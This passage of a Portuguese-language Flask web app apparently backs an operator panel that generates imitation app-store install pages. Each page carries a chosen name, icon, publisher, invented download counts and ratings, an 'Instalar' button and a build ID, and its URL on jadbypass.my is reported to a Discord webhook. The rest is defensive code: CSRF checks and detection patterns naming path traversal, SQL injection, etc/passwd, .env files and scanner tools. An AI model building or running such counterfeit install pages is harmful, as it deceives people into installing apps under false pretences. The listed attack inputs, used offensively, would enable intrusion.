    icon_url = str(data.get('icon_url', ''))[:2000]
    publisher = str(data.get('publisher', 'Desenvolvedor')).strip()[:80]
    downloads = str(data.get('downloads', '1K+')).strip()[:20]
    rating = str(data.get('rating', '4.5')).strip()[:8]
    button_text = str(data.get('button_text', 'Instalar')).strip()[:20]

    if not app_name or not build_id:
        return jsonify({'success': False, 'message': 'Nome do app e Build ID são obrigatórios'}), 400

    slug = _unicodedata.normalize('NFKD', app_name).encode('ascii', 'ignore').decode('ascii')
    slug = re.sub(r'[^a-z0-9]+', '-', slug.lower()).strip('-')
    if not slug:
        slug = build_id[:20]

    db = load_data()
    if 'play_pages' not in db:
        db['play_pages'] = {}

    base_slug = slug
    counter = 1
    while slug in db['play_pages']:
        slug = f'{base_slug}-{counter}'
        counter += 1

    db['play_pages'][slug] = {
        'slug': slug,
        'build_id': build_id,
        'app_name': app_name,
        'icon_url': icon_url,
        'publisher': publisher,
        'downloads': downloads,
        'rating': rating,
        'button_text': button_text,
        'created_by': session['username'],
        'created_at': datetime.now().isoformat()
    }
    save_data(db)
    try:
        send_discord_webhook('TELA PLAY Criada', f"**{app_name}**\nOperador: {session['username']}\nURL: https://jadbypass.my/play/{slug}", 0x01875f)
    except:
        pass
    return jsonify({'success': True, 'slug': slug, 'url': f'/play/{slug}'})

@app.route('/api/play-pages/<slug>', methods=['DELETE'])
def delete_play_page(slug):
    if 'username' not in session:
        return jsonify({'success': False}), 401
    slug = re.sub(r'[^a-zA-Z0-9_-]', '', slug)[:80]
    db = load_data()
    if 'play_pages' not in db or slug not in db.get('play_pages', {}):
        return jsonify({'success': False, 'message': 'Não encontrado'}), 404
    del db['play_pages'][slug]
    save_data(db)
    return jsonify({'success': True})

# ===== DETECCAO DE ATAQUES WEB =====
import re as _re
_ATTACK_PATTERNS = [
    _re.compile(r'(?i)(\.\./|%2e%2e|%252e%252e)'),
    _re.compile(r'(?i)(union.{1,20}select|drop.{1,10}table|insert.{1,10}into)'),
    _re.compile(r'(?i)(etc/passwd|etc/shadow|\.env|\.git/config)'),
    _re.compile(r'(?i)(eval\(|base64_decode|system\(|exec\()'),
]
_SCANNER_UA = _re.compile(r'(?i)(sqlmap|nikto|masscan|nmap|dirsearch|nuclei|gobuster|acunetix|nessus|zgrab|hydra)')
_web_alert_cache = {}

_CSRF_EXEMPT_PATHS = {'/login', '/api/register', '/logout'}

@app.before_request
def csrf_protect():
    if request.method not in ('POST', 'PUT', 'DELETE', 'PATCH'):
        return None
    if request.path in _CSRF_EXEMPT_PATHS:
        return None
    if request.path.startswith('/api/pix/status'):
        return None
    if 'username' not in session:
        return None
    expected = session.get('csrf_token', '')
    given = request.headers.get('X-CSRF-Token', '') or (request.form.get('csrf_token', '') if not request.is_json else '')
    if request.is_json:
        try:
            j = request.get_json(silent=True) or {}
            given = given or j.get('csrf_token', '')
        except Exception:
            pass
    if not expected or not given or not _csrf_compare(expected, given):
        return jsonify({"error": "CSRF token invalido"}), 403
    return None

def _csrf_compare(a, b):
    import hmac
    return hmac.compare_digest(str(a), str(b))

@app.before_request
def detect_web_attacks():
    ip = get_client_ip()
    path = request.path
    ua = request.headers.get('User-Agent', '')
    full_url = request.url
    now = time.time()

    def _cooldown(key, secs=300):
        last = _web_alert_cache.get(key, 0)
        if now - last < secs:
            return False
        _web_alert_cache[key] = now
        return True

    if _SCANNER_UA.search(ua) and _cooldown(f'ua_{ip}', 600):
        send_discord_webhook(
            "SCANNER DETECTADO",
            f"Ferramenta de scan identificada no site.",
            color=0xf59e0b,
            fields=[
                {"name": "IP", "value": ip, "inline": True},
                {"name": "Path", "value": path[:80], "inline": True},
                {"name": "User-Agent", "value": ua[:120], "inline": False}
            ]
        )

    for pat in _ATTACK_PATTERNS:
        if pat.search(full_url) or pat.search(ua):
            if _cooldown(f'atk_{ip}', 120):
                send_discord_webhook(
                    "TENTATIVA DE ATAQUE WEB",
                    f"Padrao malicioso detectado na requisicao.",
                    color=0xb91c1c,
                    fields=[
                        {"name": "IP", "value": ip, "inline": True},
                        {"name": "Metodo", "value": request.method, "inline": True},
                        {"name": "Path", "value": path[:100], "inline": False},
                        {"name": "URL completa", "value": full_url[:150], "inline": False}
                    ]
                )
            break

@app.errorhandler(404)
def not_found(e):
    ip = get_client_ip()
    path = request.path
    if any(x in path.lower() for x in ['.php', '.env', 'admin', 'wp-', '.git', 'config', 'backup']):
        key = f'404_{ip}'
        now = time.time()
        if now - _web_alert_cache.get(key, 0) > 180:
            _web_alert_cache[key] = now
            send_discord_webhook(
                "RECONHECIMENTO DETECTADO",
                f"IP tentando acessar caminho sensivel inexistente.",
                color=0xf59e0b,
                fields=[
                    {"name": "IP", "value": ip, "inline": True},
                    {"name": "Path tentado", "value": path, "inline": True}
                ]
            )
    from flask import jsonify
    return jsonify({"error": "Not found"}), 404

@app.errorhandler(500)
def server_error(e):
    ip = get_client_ip()
    send_discord_webhook(
        "ERRO 500 INTERNO",
        f"Erro interno no servidor - verificar logs.",
        color=0xb91c1c,
        fields=[
            {"name": "IP", "value": ip, "inline": True},
            {"name": "Path", "value": request.path, "inline": True},
            {"name": "Erro", "value": str(e)[:200], "inline": False}
        ]
    )
    from flask import jsonify
    return jsonify({"error": "Internal server error"}), 500

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=5000)